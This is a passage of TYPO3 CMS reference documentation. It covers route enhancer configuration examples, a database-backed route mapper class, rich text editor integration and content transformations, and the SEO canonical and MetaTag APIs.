            octobre: 10
            novembre: 11
            decembre: 12
      page:
        type: StaticRangeMapper
        start: '1'
        end: '99'
Copied!

Posts by Author

routeEnhancers:
  AuthorPosts:
    type: Extbase
    extension: Blog
    plugin: AuthorPosts
    routes:
      -
        routePath: '/{author_title}'
        _controller: 'Post::listPostsByAuthor'
        _arguments:
          author_title: author
      -
        routePath: '/{author_title}/page-{page}'
        _controller: 'Post::listPostsByAuthor'
        _arguments:
          author_title: author
          page: '@widget_0/currentPage'
    defaultController: 'Post::listPostsByAuthor'
    aspects:
      author_title:
        type: PersistedAliasMapper
        tableName: 'tx_blog_domain_model_author'
        routeFieldName: 'slug'
      page:
        type: StaticRangeMapper
        start: '1'
        end: '99'
Copied!

Category pages

routeEnhancers:
  BlogCategory:
    type: Extbase
    extension: Blog
    plugin: Category
    routes:
      -
        routePath: '/{category_title}'
        _controller: 'Post::listPostsByCategory'
        _arguments:
          category_title: category
      -
        routePath: '/{category_title}/page-{page}'
        _controller: 'Post::listPostsByCategory'
        _arguments:
          category_title: category
          page: '@widget_0/currentPage'
    defaultController: 'Post::listPostsByCategory'
    aspects:
      category_title:
        type: PersistedAliasMapper
        tableName: sys_category
        routeFieldName: 'slug'
      page:
        type: StaticRangeMapper
        start: '1'
        end: '99'
Copied!

Blog Feeds

routeEnhancers:
  PageTypeSuffix:
    type: PageType
    map:
      'blog.recent.xml': 200
      'blog.category.xml': 210
      'blog.tag.xml': 220
      'blog.archive.xml': 230
      'blog.comments.xml': 240
      'blog.author.xml': 250
Copied!

Blog Posts

routeEnhancers:
  BlogPosts:
    type: Extbase
    extension: Blog
    plugin: Posts
    routes:
      -
        routePath: '/page-{page}'
        _controller: 'Post::listRecentPosts'
        _arguments:
          page: '@widget_0/currentPage'
     defaultController: 'Post::listRecentPosts'
     aspects:
       page:
         type: StaticRangeMapper
         start: '1'
         end: '99'
Copied!

Posts by Tag

routeEnhancers:
  BlogTag:
    type: Extbase
    extension: Blog
    plugin: Tag
    routes:
      -
        routePath: '/{tag_title}'
        _controller: 'Post::listPostsByTag'
        _arguments:
          tag_title: tag
      -
        routePath: '/{tag_title}/page-{page}'
        _controller: 'Post::listPostsByTag'
        _arguments:
          tag_title: tag
          page: '@widget_0/currentPage'
     defaultController: 'Post::listPostsByTag'
     aspects:
       tag_title:
         type: PersistedAliasMapper
         tableName: tx_blog_domain_model_tag
         routeFieldName: 'slug'
       page:
         type: StaticRangeMapper
         start: '1'
         end: '99'
Copied!

BlogStaticDatabaseMapper

<?php
     declare(strict_types = 1);

     /*
      * This file is part of the package t3g/blog.
      *
      * For the full copyright and license information, please read the
      * LICENSE file that was distributed with this source code.
      */

     namespace T3G\AgencyPack\Blog\Routing\Aspect;

     use TYPO3\CMS\Core\Database\ConnectionPool;
     use TYPO3\CMS\Core\Routing\Aspect\StaticMappableAspectInterface;
     use TYPO3\CMS\Core\Utility\GeneralUtility;

     class StaticDatabaseMapper implements StaticMappableAspectInterface, \Countable
     {
         /**
          * @var array
          */
         protected $settings;

         /**
          * @var string
          */
         protected $field;

         /**
          * @var string
          */
         protected $table;

         /**
          * @var string
          */
         protected $groupBy;

         /**
          * @var array
          */
         protected $where;

         /**
          * @var array
          */
         protected $values;

         /**
          * @param array $settings
          * @throws \InvalidArgumentException
          */
         public function __construct(array $settings)
         {
             $field = $settings['field'] ?? null;
             $table = $settings['table'] ?? null;
             $where = $settings['where'] ?? [];
             $groupBy = $settings['groupBy'] ?? '';

             if (!is_string($field)) {
                 throw new \InvalidArgumentException('field must be string', 1550156808);
             }
             if (!is_string($table)) {
                 throw new \InvalidArgumentException('table must be string', 1550156812);
             }
             if (!is_string($groupBy)) {
                 throw new \InvalidArgumentException('groupBy must be string', 1550158149);
             }
             if (!is_array($where)) {
                 throw new \InvalidArgumentException('where must be an array', 1550157442);
             }

             $this->settings = $settings;
             $this->field = $field;
             $this->table = $table;
             $this->where = $where;
             $this->groupBy = $groupBy;
             $this->values = $this->buildValues();
         }

         /**
          * {@inheritdoc}
          */
         public function count(): int
         {
             return count($this->values);
         }

         /**
          * {@inheritdoc}
          */
         public function generate(string $value): ?string
         {
             return $this->respondWhenInValues($value);
         }

         /**
          * {@inheritdoc}
          */
         public function resolve(string $value): ?string
         {
             return $this->respondWhenInValues($value);
         }

         /**
          * @param string $value
          * @return string|null
          */
         protected function respondWhenInValues(string $value): ?string
         {
             if (in_array($value, $this->values, true)) {
                 return $value;
             }
             return null;
         }

         /**
          * Builds range based on given settings and ensures each item is string.
          * The amount of items is limited to 1000 in order to avoid brute-force
          * scenarios and the risk of cache-flooding.
          *
          * In case that is not enough, creating a custom and more specific mapper
          * is encouraged. Using high values that are not distinct exposes the site
          * to the risk of cache-flooding.
          *
          * @return string[]
          * @throws \LengthException
          */
         protected function buildValues(): array
         {
             $queryBuilder = GeneralUtility::makeInstance(ConnectionPool::class)
                 ->getQueryBuilderForTable($this->table);

             $queryBuilder
                 ->select($this->field)
                 ->from($this->table);

             if ($this->groupBy !== '') {
                 $queryBuilder->groupBy($this->groupBy);
             }

             if (!empty($this->where)) {
                 foreach ($this->where as $key => $value) {
                     $queryBuilder->andWhere($key, $queryBuilder->createNamedParameter($value));
                 }
             }

             return array_map('strval', array_column($queryBuilder->execute()->fetchAll(), $this->field));
         }
     }
Copied!

Usage with imports

On typo3.com we are using imports to make routing configurations easier to manage:

imports:
  - { resource: "EXT:template/Configuration/Routes/Blog/BlogCategory.yaml" }
  - { resource: "EXT:template/Configuration/Routes/Blog/BlogTag.yaml" }
  - { resource: "EXT:template/Configuration/Routes/Blog/BlogArchive.yaml" }
  - { resource: "EXT:template/Configuration/Routes/Blog/BlogAuthorPosts.yaml" }
  - { resource: "EXT:template/Configuration/Routes/Blog/BlogFeedWidget.yaml" }
  - { resource: "EXT:template/Configuration/Routes/Blog/BlogPosts.yaml" }
Copied!

Full project example config

Taken from an anonymous live project:

routeEnhancers:
  news:
    type: Extbase
    extension: mynews
    plugin: mynews
    routes:
      - routePath: '/news/detail/{news}'
          _controller: 'News::show'
          _arguments:
            news: news
      - routePath: '/search-result/{searchFormHash}'
          _controller: 'News::list'
          _arguments:
            searchForm: searchForm
    defaultController: 'News::show'
    aspects:
      news:
        routeValuePrefix: ''
        type: PersistedAliasMapper
        tableName: 'tx_mynews_domain_model_news'
        routeFieldName: slug
        valueFieldName: uid
  videos:
    type: Extbase
    extension: myvideos
    plugin: myvideos
    routes:
      -
        routePath: '/video-detail/detail/{videos}'
        _controller: 'Videos::show'
        _arguments:
          videos: videos
      -
        routePath: '/search-result/{searchFormHash}'
        _controller: 'Videos::list'
        _arguments:
          searchForm: searchForm
    defaultController: 'Videos::show'
    aspects:
      videos:
        routeValuePrefix: ''
        type: PersistedAliasMapper
        tableName: 'tx_myvideos_domain_model_videos'
        routeFieldName: slug
        valueFieldName: uid
  discipline:
    type: Extbase
    extension: myvideos
    plugin: overviewlist
    routes:
      -
        routePath: '/video-uebersicht/disziplin/{discipline}'
        _controller: 'Overview::discipline'
        _arguments:
          discipline: discipline
    defaultController: 'Overview::discipline'
    aspects:
      discipline:
        routeValuePrefix: ''
        type: PersistedAliasMapper
        tableName: 'tx_mytaxonomy_domain_model_discipline'
        routeFieldName: slug
        valueFieldName: uid
  events:
    type: Extbase
    extension: myapidata
    plugin: events
    routes:
      -
        routePath: '/events/detail/{uid}'
        _controller: 'Events::showByUid'
        _arguments:
          uid: uid
      -
        routePath: '/events/search-result/{searchFormHash}'
        _controller: 'Events::list'
        _arguments:
          searchForm: searchForm
    defaultController: 'Events::showByUid'
    aspects:
      uid:
        routeValuePrefix: ''
        type: PersistedAliasMapper
        tableName: 'tx_myapidata_domain_model_event'
        routeFieldName: slug
        valueFieldName: uid
  results:
    type: Extbase
    extension: myapidata
    plugin: results
    routes:
      -
        routePath: '/resultset/detail/{uid}'
        _controller: 'Results::showByUid'
        _arguments:
          uid: uid
      -
        routePath: '/resultset/search-result/{searchFormHash}'
        _controller: 'Results::list'
        _arguments:
          searchForm: searchForm
    defaultController: 'Results::showByUid'
    aspects:
    uid:
      routeValuePrefix: ''
      type: PersistedAliasMapper
      tableName: 'tx_myapidata_domain_model_event'
      routeFieldName: slug
      valueFieldName: uid
  teams:
    type: Extbase
    extension: myapidata
    plugin: teams
    routes:
      -
        routePath: '/detail/{team}'
        _controller: 'Team::show'
        _arguments:
          team: team
      -
        routePath: '/player/result/{searchFormHash}'
        _controller: 'Team::list'
        _arguments:
          searchForm: searchForm
    defaultController: 'Team::show'
    aspects:
      team:
        routeValuePrefix: ''
        type: PersistedAliasMapper
        tableName: 'tx_myapidata_domain_model_team'
        routeFieldName: slug
        valueFieldName: uid
  moreLoads:
    type: PageType
    map:
      'videos/events/videos.json': 1381404385
      'videos/categories/videos.json': 1381404386
      'videos/favorites/videos.json': 1381404389
      'videos/newest/videos.json': 1381404390
Copied!

EXT: DpnGlossary

Prerequisites:

  • The plugin for list view and detail view is added on one page.
  • The StaticMultiRangeMapper (a custom mapper) is available in the project.

Result:

  • List view: https://example.org/<YOUR_PLUGINPAGE_SLUG>
  • Detail view: https://example.org/<YOUR_PLUGINPAGE_SLUG>/term/the-term-title
routeEnhancers:
  DpnGlossary:
     type: Extbase
     limitToPages: [YOUR_PLUGINPAGE_UID]
     extension: DpnGlossary
     plugin: glossary
     routes:
     - { routePath: '/{character}', _controller: 'Term::list', _arguments: {'character': '@widget_0/character'} }
     - { routePath: '/{localized_term}/{term_name}', _controller: 'Term::show', _arguments: {'term_name': 'term'} }
     defaultController: 'Term::list'
     defaults:
       character: ''
     aspects:
       term_name:
         type: PersistedAliasMapper
         tableName: 'tx_dpnglossary_domain_model_term'
         routeFieldName: 'url_segment'
       character:
         type: StaticMultiRangeMapper
         ranges:
           - start: 'A'
             end: 'Z'
       localized_term:
         type: LocaleModifier
         default: 'term'
         localeMap:
         - locale: 'de_DE.*'
           value: 'begriff'
Copied!

Taken from dpn_glossary manual.

Rich text editors (RTE)

This chapter contains general information about Rich Text Editors (RTE) in TYPO3, how they are integrated in the TYPO3 Backend and what transformations get applied along the various processes (saving to the database, rendering to the frontend, etc.)

The CKEditor Rich Text Editor system extension documentation contains specific information about how rich text editing is done with this extension and how it can be configured.

Table of contents:

CKEditor Rich Text Editor

TYPO3 comes with the system extension "CKEditor Rich Text Editor" (rte_ckeditor) which integrates CKEditor functionality into the Core for editing of rich text content.

Rendering in the Frontend

The explanations on this page don't show how to display an RTE but rather, describe how rendering of content should be done in the frontend when it was entered with help of an RTE.

Fluid templates

Rendering in TYPO3 is nowadays done mostly with Fluid templates.

RTEs enrich content in most cases with HTML, therefore it's advisable to use the Fluid ViewHelper format.html for this kind of content:

<f:format.html><p>Visit the <a href="t3://page?uid=51">example page</a>.</p></f:format.html>
Copied!

The result might still be missing some important aspects. One example are links of the form t3://page?uid=51 that need to be processed. Usually those links should be transformed already because the ViewHelper is using by default lib.parseFunc_RTE to parse the content.

Nevertheless it's possible to define the parsing function explicitly and also to define a different parsing function:

<f:format.html parseFuncTSPath="lib.parseFunc"><p>Visit the <a href="t3://page?uid=51">example page</a>.</p></f:format.html>
Copied!

TypoScript

Rendering is sometimes done by TypoScript only, in those cases it's possible to use lib.parseFunc_RTE too for parsing:

20 = TEXT
20.value = Visit the <a href="t3://page?uid=51">example page</a>.
20.wrap = <p>|</p>
20.stdWrap.parseFunc < lib.parseFunc_RTE
Copied!

So for fields of the content-table in the database the TypoScript could look like this:

20 = TEXT
20.field = bodytext
20.wrap = <p>|</p>
20.stdWrap.parseFunc < lib.parseFunc_RTE
Copied!

Further details

The transformation process during content-rendering is highly configurable. You can find further information here:

Rich text editors in the TYPO3 backend

Introduction

When you configure a table in $TCA and add a field of the type "text" which is edited by a <textarea>, you can choose to use a Rich Text Editor (RTE) instead of the simple form field. An RTE enables the users to use visual formatting aids to create bold, italic, paragraphs, tables, etc.

The rtehtmlarea RTE activated in the TYPO3 backend

For full details about setting up a field to use an RTE, please refer to the chapter labeled 'special-configuration-options' in older versions of the TCA Reference.

The short story is that it's enough to set the key enableRichtext to true.

'poem' => array(
    'exclude' => 0,
    'label' => 'LLL:EXT:examples/locallang_db.xlf:tx_examples_haiku.poem',
    'config' => array(
        'type' => 'text',
        'cols' => 40,
        'rows' => 6,
        'enableRichtext' => true
    ),
),
Copied!

This works for FlexForms too:

<poem>
    <TCEforms>
        <exclude>0</exclude>
        <label>LLL:EXT:examples/locallang_db.xlf:tx_examples_haiku.poem</label>
        <config>
            <type>text</type>
            <cols>40<cols>
            <rows>6</rows>
            <enableRichtext>true</enableRichtext>
        </config>
    <TCEforms>
</poem>
Copied!

Plugging in a custom RTE

TYPO3 supports any Rich Text Editor for which someone might write a connector to the RTE API. This means that you can freely choose whatever RTE you want to use among those available from the Extension Repository on typo3.org.

TYPO3 comes with a built-in RTE called "ckeditor", but other RTEs are available in the TYPO3 Extension Repository and you can implement your own RTE if you like.

API for rich text editors

Connecting an RTE in an extension to TYPO3 is easy. The following example is based on the implementation of ext:rte_ckeditor.

  • In the ext_localconf.php you can use the FormEngine's NodeResolver to implement your own RichTextNodeResolver and give it a higher priority than the Core's implementation:
$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['nodeResolver'][1593194137] = [
    'nodeName' => 'text',
    'priority' => 50, // rte_ckeditor uses priority 50
    'class' => \MyVendor\MyExt\Form\Resolver\RichTextNodeResolver::class,
];
Copied!
  • Now create the class \Vendor\MyExt\Form\Resolver\RichTextNodeResolver. The RichTextNodeResolver needs to implement the NodeResolverInterface and the major parts happen in the resolve() function, where, if all conditions are met, the RichTextElement class name is returned:
<?php

namespace Vendor\MyExt\Form\Resolver;

use TYPO3\CMS\Backend\Form\NodeFactory;
use TYPO3\CMS\Backend\Form\NodeResolverInterface;
use TYPO3\CMS\Core\Authentication\BackendUserAuthentication;
use Vendor\MyExt\Form\Element\RichTextElement;

/**
 * This resolver will return the RichTextElement render class if RTE is enabled for this field.
 */
class RichTextNodeResolver implements NodeResolverInterface
{
    /**
     * Global options from NodeFactory
     *
     * @var array
     */
    protected $data;

    /**
     * Default constructor receives full data array
     *
     * @param NodeFactory $nodeFactory
     * @param array $data
     */
    public function __construct(NodeFactory $nodeFactory, array $data)
    {
        $this->data = $data;
    }

    /**
     * Returns RichTextElement as class name if RTE widget should be rendered.
     *
     * @return string|void New class name or void if this resolver does not change current class name.
     */
    public function resolve()
    {
        $parameterArray = $this->data['parameterArray'];
        $backendUser = $this->getBackendUserAuthentication();
        if (// This field is not read only
            !$parameterArray['fieldConf']['config']['readOnly']
            // If RTE is generally enabled by user settings and RTE object registry can return something valid
            && $backendUser->isRTE()
            // If RTE is enabled for field
            && isset($parameterArray['fieldConf']['config']['enableRichtext'])
            && (bool)$parameterArray['fieldConf']['config']['enableRichtext'] === true
            // If RTE config is found (prepared by TcaText data provider)
            && isset($parameterArray['fieldConf']['config']['richtextConfiguration'])
            && is_array($parameterArray['fieldConf']['config']['richtextConfiguration'])
            // If RTE is not disabled on configuration level
            && !$parameterArray['fieldConf']['config']['richtextConfiguration']['disabled']
        ) {
            return RichTextElement::class;
        }
        return null;
    }

    /**
     * @return BackendUserAuthentication
     */
    protected function getBackendUserAuthentication()
    {
        return $GLOBALS['BE_USER'];
    }
}
Copied!
  • Next step is to implement the RichtTextElement class. You can look up the code of EXT:rte_ckeditor/Classes/Form/Element/RichTextElement.php (GitHub), which does the same for ckeditor. What basically happens in its render() function, is to apply any settings from the fields TCA config and then printing out all of the html markup and javascript necessary for booting up the ckeditor.

Including a Rich Text Editor (RTE) in the frontend

When you add forms to a website you might want to offer formatting options like bold, italic etc.. Rich Text Editors offer extensive options that are configurable for individual needs.

This chapter outlines conceptual and technical information about adding an RTE on frontend pages.

An RTE in the TYPO3 FE

The CKEditor integrated in the frontend

The following list describes features and corresponding implementation effort ordered from simple to complex.

The optional features

  • Simple text formatting can be achieved using well-known buttons. This solution is used to format text (bold, italic, underlined, ...), create lists or tables, etc.. These options are predefined in the RTE and and wrap selected content in html-tags, by default without any attributes like id or class for example.
  • Advanced text-formatting can be achieved with predefined blocks and according style. Those blocks wrap selected content in html-elements with CSS-classes that can be styled in a stylesheet. The formats have to be defined by names, short description and according styling. CKEditor offers a dropdown button for those block-styles.

    Editing the Source could allow the user optionally to add special HTML-elements or attributes like id, class or more.

  • It might be desired to allow users to upload files like images, PDF-documents or other multi-media-content. Images and perhaps some other file-types could be displayed in the content, further file-types could be linked.
  • Editing data in the frontend requires that applying forms are pre-filled with existing data. This might require some considerations concerning multiple aspects.
  • Links might be chosen out of the existing pages of the website, those links can be added as internal instead of external links but require a visual and functional option to select from existing pages.

    This option requires an Ajax-connection to interact with TYPO3.

  • For special websites like intranets it might be desired additionally to not only allow the upload of media but also to choose media out of those that exist already in a public directory on the server.

    This option requires an Ajax-connection to interact with TYPO3.

Technical Overview

Files: Any required files to include a form in the frontend require an extension, this can be a sitepackage but also a separate extension. Required filetypes include JavaScript, Fluid templates, CSS and PHP.

JavaScript: Rendering the content in the RTE in the frontend is done with support of JavaScript, so it does not work if the user has disabled JavaScript, i.e. for accessibility reasons.

Validation: The code that is built on base of the user-input should be filtered. The RTE is doing this based on JavaScript and configuration, and the server shall receive only this pre-processed code when the form is sent. Nevertheless the transferred data have to be validated on server-side again because it's possible to circumvent validation in the frontend by sending the data without filling the real form or just by disabling JavaScript.

The solution

The chapter CKEditor (rte_ckeditor) includes examples and common challenges for the frontend. You can use other editors with TYPO3 and some points, like handling of data on the server, are independent of the distinct editor in the frontend. Therefore the chapter is advised even if you use another editor.

RTE Transformations

Introduction

Transformation of content between the database and an RTE is needed if the format of the content in the database is different than the format understood by an RTE. A simple example could be that bold-tags in the database <b> should be converted to <strong> tags in the RTE or that references to images in <img> tags in the database should be relative while absolute in the RTE. In such cases a transformation is needed to do the conversion both ways: from database (DB) to RTE and from RTE to DB.

Generally transformations are needed for two reasons:

  • Data Formats: If the agreed format of the stored content in TYPO3 is different from the HTML format the RTE produces. This could be issues like XHTML, banning of certain tags or maybe a hybrid format in the database. (See section 3 in the illustration some pages ahead)
  • RTE specifics: If the RTE has special requirements to the content before it can be edited and if that format is different from what we want to store in the database. For instance an RTE could require a full HTML document with <html>, <head> and <body> - obviously we don't want that in the database and likewise we will have to wrap content in such a dummy-body before it can be edited.

Hybrid modes

Many of the transformations performed back and forth in the TYPO3 backend date back to when it was a challenge to incorporate a RTE in a browser. It was then sometimes needed to fall back an a simple <textarea> where rich text had to be presented in a simple enough way so that editors could work with it with no visual help.

This is what the mode css_transform tries to achieve: maintain a data format that is as human readable as possible while still offering an RTE for editing if applicable.

To know the details of those transformations, please refer to the Transformation overview. Here is a short example of a hybrid mode:

In the database

This is how the content in the database could look for a hybrid mode (such as css_transform):

This is line number 1 with a <a href="t3://page?uid=123">link</a> inside
This is line number 2 with a <b>bold part</b> in the text
<p align="center">This line is centered.</p>
This line is just plain
Copied!

As you can see the TYPO3-specific tag, <a href="t3://page?uid=123"> is used for the link to page 123. This tag is designed to be easy for editors to insert and easy for TYPO3 to parse and understand. The t3:// scheme is later resolved to a real link in the frontend by the The LinkHandler API. Further line 2 shows bold text. In line 3 the situation is that the paragraph should be centered - and there seems to be no other way than wrapping the line in a <p> tag with the "align" attribute. Not so human readable but we can do no better without an RTE. Line 4 is just plain.

Generally this content will be processed before output on a page of course. Typically the rule will be this: "Wrap each line in a <p> tag which is not already wrapped in a <p> tag and run all <a>-tags with TYPO3-specific schemes through a Linkhandler to resolve them to real uris." and thus the final result will be valid HTML.

In RTE

The content in the database can easily be edited as plain text thanks to the "hybrid-mode" used to store the content. But when the content above from the database has to go into the RTE it will not work if every line is not wrapped in a <p> tag! This is what eventually goes into the RTE:

<p>This is line number 1 with a <a href="t3://page?uid=123">link</a> inside</p>
<p>This is line number 2 with a <strong>bold part</strong> in the text</p>
<p align="center">This line is centered.</p>
<p>This line is just plain</p>
Copied!

This process of conversion from one format to the other is what transformations do!

Configuration

Transformations are mainly defined in the 'special configurations' of the $TCA "types"-configuration. See label 'special-configuration' in older versions of the TCA-Reference.

In addition transformations can be fine-tuned by page TSconfig which means that RTE behaviour can be determined even on page branch level!

Where transformations are performed

The transformations you can do with TYPO3 are done in the class \TYPO3\CMS\Core\Html\RteHtmlParser. There is typically a function for each direction; From DB to RTE and from RTE to DB.

The transformations are invoked in two cases:

  • Before content enters the editing form This is done by calling the method \TYPO3\CMS\Core\Html\RteHtmlParser::transformTextForRichTextEditor().
  • Before content is saved in the database This is done by calling the method \TYPO3\CMS\Core\Html\RteHtmlParser::transformTextForPersistence().

The rationale for transformations is discussed in Historical Perspective on RTE Transformations.

Transformation overview

The transformation of the content can be configured by listing which transformation filters to pass it through. The order of the list is the order in which the transformations are performed when saved to the database. The order is reversed when the content is loaded into the RTE again.

Processing can also be overwritten by page TSconfig, see the according section of the page TSconfig reference for details.

Transformation filters

css_transform

css_transform
Scope

RTE Transformation filter

Transforms the HTML markup either for display in the rich-text editor or for saving in the database. The name "css_transform" is historical; earlier TYPO3 versions had a long since removed "ts_transform" mode, which basically only saved a minimum amount of HTML in the database and produced a lot of nowadays outdated markup like <font> tag style rendering in the frontend.

Historical Perspective on RTE Transformations

The next sections describe in more details the necessity of RTE transformations. The text was written at the birth of transformations and might therefore be somewhat old-fashioned. However it checked out generally OK and may help you to further understand why these issues exist. The argumentation is still valid.

Properties and Transformations

The RTE applications typically expect to be fed with content formatted as HTML. In effect an RTE will discard content it doesn't like, for instance fictitious HTML tags and line breaks. Also the HTML content created by the RTE editor is not necessarily as 'clean' as you might like.

The editor has the ability to paste in formatted content copied/cut from other websites (in which case images are included!) or from text processing applications like MS Word or Star Office. This is a great feature and may solve the issue of transferring formatted content from e.g. Word into TYPO3.

However these inherent features - good or bad - raises the issue how to handle content in a field which we do not wish to 'pollute' with unnecessary HTML-junk. One perspective is the fact that we might like to edit the content with Netscape later (for which the RTE cannot be used, see above) and therefore would like it to be 'human readable'. Another perspective is if we might like to use only Bold and Italics but not the alignment options. Although you can configure the editor to display only the bold and italics buttons, this does not prevent users from pasting in HTML-content copied from other websites or from Microsoft Word which does contain tables, images, headlines etc.

The answer to this problem is a so called 'transformation' which you can configure in the $TCA (global, authoritative configuration) and which you may further customize through page TSconfig (local configuration for specific branches of the website). The issue of transformations is best explained by the following example from the table, tt_content (the content elements).

RTE Transformations in Content Elements

The RTE is used in the bodytext field of the content elements, configured for the types "Text" and "Text & Images".

A RTE in the TYPO3 BE

The rtehtmlarea RTE activated in the TYPO3 backend

The configuration of the two 'Text'-types are the same: The toolbar includes only a subset of the total available buttons. The reason is that the text content of these types, 'Text' and 'Text & Images' is traditionally not meant to be filled up with HTML-codes. But more important is the fact that the content is usually (by the standard TypoScript content rendering used on the vast majority of TYPO3 websites!) parsed through a number of routines.

In order to understand this, here is an outline of what typically happens with the content of the two Text-types when rendered by TypoScript for frontend display:

  1. All line breaks are converted to <br /> codes.

    (Doing this enables us to edit the text in the field rather naturally in the backend because line breaks in the edit field comes out as line breaks on the page!)

  2. All instances of 'http://...' and 'mailto:....' are converted to links.

    (This is a quick way to insert links to URLs and email address)

  3. The text is parsed for special tags, so called 'typotags', configured in TypoScript. The default typotags tags are <LINK> (making links), <TYPOLIST> (making bulletlists), <TYPOHEAD> (making headlines) and <TYPOCODE> (making monospaced formatting).

    (The <LINK> tag is used to create links between pages inside TYPO3. Target and additional parameters are automatically added which makes it a very easy way to make sure, links are correct. <TYPOLIST> renders each line between the start and end tag as a line in a bulletlist, formatted like the content element type 'Bulletlist' would be. This would typically result in a bulletlist placed in a table and not using the bullet-list tags from HTML. <TYPOHEAD> would display the tag content as a headline. The type-parameter allows to select between the five default layout types of content element headlines. This might include graphical headers. <TYPOCODE> is not converted).

  4. All other 'tags' found in the content are converted to regular text (with htmlspecialchars) unless the tag is found in the 'allowTags' list.

    (This list includes tags like 'b' (bold) and 'i' (italics) and so these tags may be used and will be outputted. However tags like 'table', 'tr' and 'td' is not in this list by default, so table-html code inserted will be outputted as text and not as a table!)

  5. Constants and search-words - if set - will be highlighted or inserted.

    (This feature will mark up any found search words on the pages if the page is linked to from a search result page.)

  6. And finally the result of this processing may be wrapped in <font>-tags, <p>-tags or whatever is configured. This depends on whether a stylesheet is used or not. If a stylesheet is used the individual sections between the typotags are usually wrapped separately.

Now lets see how this behaviour challenges the use of the RTE. This describes how the situation is handled regarding the two Text-types as mentioned above. (Numbers refer to the previous bulletlist):

  1. Line breaks: The RTE removes all line breaks and makes line breaks itself by either inserting a <P>...</P> section or <DIV>...</DIV>. This means we'll have to convert existing lines to <P>...</P> before passing the content to the RTE and further we need to revert the <DIV> and <P> sections in addition to the <BR>-tagsto line breaks when the content is returned to the database from the RTE.

    The greatest challenge here is however what to do if a <DIV> or <P> tag has parameters like 'class' or 'align'. In that case we can't just discard the tag. So the tag is preserved.

  2. The substitution of http:// and mailto: does not represent any problems here.
  3. "Typotags": The typotags are not real HTML tags so they would be removed by the RTE. Therefore those tags must be converted into something else. This is actually an opportunity and the solution to the problem is that all <LINK>-tags are converted into regular <A>-tags, all <TYPOLIST> tags are converted into <OL> or <UL> sections (ordered/unordered lists, type depends on the type set for the <TYPOLIST> tag!), <TYPOHEAD>-tags are converted to <Hx> tags where the number is determined by the type-parameter set for the <TYPOHEAD>-tag. The align/class-parameter - if set - is also preserved. When the HTML- tags are returned to the database they need to be reverted to the specific typotags.

    Other typotags (non-standard) can be preserved by being converted to a <SPAN>-section and back. This must be configured through Page TSconfig.

    (Update: With "css_styled_content" and the transformation "ts_css" only the <link> typotag is left. The <typolist> and <typohead> tags are obsolete and regular HTML is used instead)

  4. Allowed tags: As not all tags are allowed in the display on the webpage, the RTE should also reflect this situation. The greatest problem is tables which are (currently) not allowed with the Text- types. The reason for this goes back to the philosophy that the field content should be human readable and tables are not very 'readable'.

    (Update: With "css_styled_content" and the transformation "ts_css" tables are allowed)

  5. Constants and search words are no problem.
  6. Global wrapping does not represent a problem either. But this issue is related more closely to the line break-issue in bullet 1.

Finally images inserted are processed very intelligently because the 'magic' type images are automatically post-processed to the correct size and proportions after being changed by the RTE in size.

Also if images are inserted by a copy/paste operation from another website, the image inserted will be automatically transferred to the server when saved.

In addition all URLs for images and links are inserted as absolute URLs and must be converted to relative URLs if they are within the current domain.

Conclusion

These actions are done by so called transformations which are configured in the $TCA. Basically these transformations are admittedly very customized to the default behavior of the TYPO3 frontend. And they are by nature "fragile" constructions because the content is transformed back and forth for each interaction between the RTE and the database and may so be erroneously processed. However they serve to keep the content stored in the database 'clean' and human readable so it may continuously be edited by non-RTE browsers and users. And furthermore it allows us to insert TYPO3-bulletlists and headers (especially graphical headers) visually by the editor while still having TYPO3 controlling the output.

Search engine optimization (SEO)

TYPO3 contains various SEO related functionality out of the box.

The following provides an introduction in those features.

Site title

The site title is basically a variable that describes the current web site. It is used in title tag generation as for example prefix. If your website is called "TYPO3 News" and the current page is called "Latest" the page title will be something like "TYPO3 News: Latest".

The site title can be configured in the sites module and is translatable.

Hreflang Tags

"hreflang" tags are added automatically for multi-language websites based on the one-tree principle.

The href is relative as long as the domain is the same. If the domain differs the href becomes absolute. The x-default href is the first supported language. The value of "hreflang" is the one set in the sites module (see Adding Languages)

Canonical Tags

TYPO3 provides built-in support for the <link rel="canonical" href=""> tag.

If the Core extension EXT:seo is installed, it will automatically add the canonical link to the page.

The canonical link is basically the same absolute link as the link to the current hreflang and is meant to indicate where the original source of the content is. It is a tool to prevent duplicate content penalties.

In the page properties, the canonical link can be overwritten per language. The link wizard offers all possibilities including external links and link handler configurations.

Should an empty href occur when generating the link to overwrite the canonical (this happens e.g. if the selected page is not available in the current language), the fallback to the current hreflang will be activated automatically. This ensures that there is no empty canonical.

XML Sitemap
see XML sitemap
SEO for Developers

TYPO3 provides various APIs for developers to implement further SEO features:

  • The CanonicalApi (see Canonical API) to set dynamic canonical url
  • The MetaTagApi (see MetaTag API) to add dynamic meta tags
  • The PageTitleAPI (see Page title API) to manipulate the page title

Canonical API

A brief explanation happens in Search engine optimization (SEO).

In general the system will generate the canonical using the same logic as for cHash.

Excluding arguments from the generation

TYPO3 will fallback to building a URL of current page and appending query strings. It is possible to exclude specific arguments from being appended. This is achieved by adding those arguments to a PHP variable:

EXT:site_package/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['FE']['additionalCanonicalizedUrlParameters'][] = 'example_argument_name';
Copied!

It is possible to exclude nested arguments:

EXT:site_package/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['FE']['additionalCanonicalizedUrlParameters'][] = 'example_argument_name[second_level]';
Copied!

Arguments in general should be excluded from cHash as well as additionalCanonicalizedUrlParameters. See the possible options in Caching, regarding excluding arguments from cHash.

The idea behind that is:

If a URL is worth caching (because it has different content) it is worth having a canonical as well.

https://github.com/TYPO3-Documentation/TYPO3CMS-Reference-CoreApi/pull/1326#issuecomment-788741312

Using an event to define the URL

The process will trigger the event ModifyUrlForCanonicalTagEvent which can be used to set the actual URL to use.

MetaTag API

The MetaTag API is available for setting meta tags in a flexible way.

The API uses MetaTagManagers to manage the tags for a "family" of meta tags. The Core e.g. ships an OpenGraph MetaTagManager that is responsible for all OpenGraph tags. In addition to the MetaTagManagers included in the Core, you can also register your own MetaTagManager in the \TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry .

Using the MetaTag API

To use the API, first get the right MetaTagManager for your tag from the MetaTagManagerRegistry. You can use that manager to add your meta tag; see the example below for the og:title meta tag.

use TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry;
use TYPO3\CMS\Core\Utility\GeneralUtility;

$metaTagManager = GeneralUtility::makeInstance(MetaTagManagerRegistry::class)->getManagerForProperty('og:title');
$metaTagManager->addProperty('og:title', 'This is the OG title from a controller');
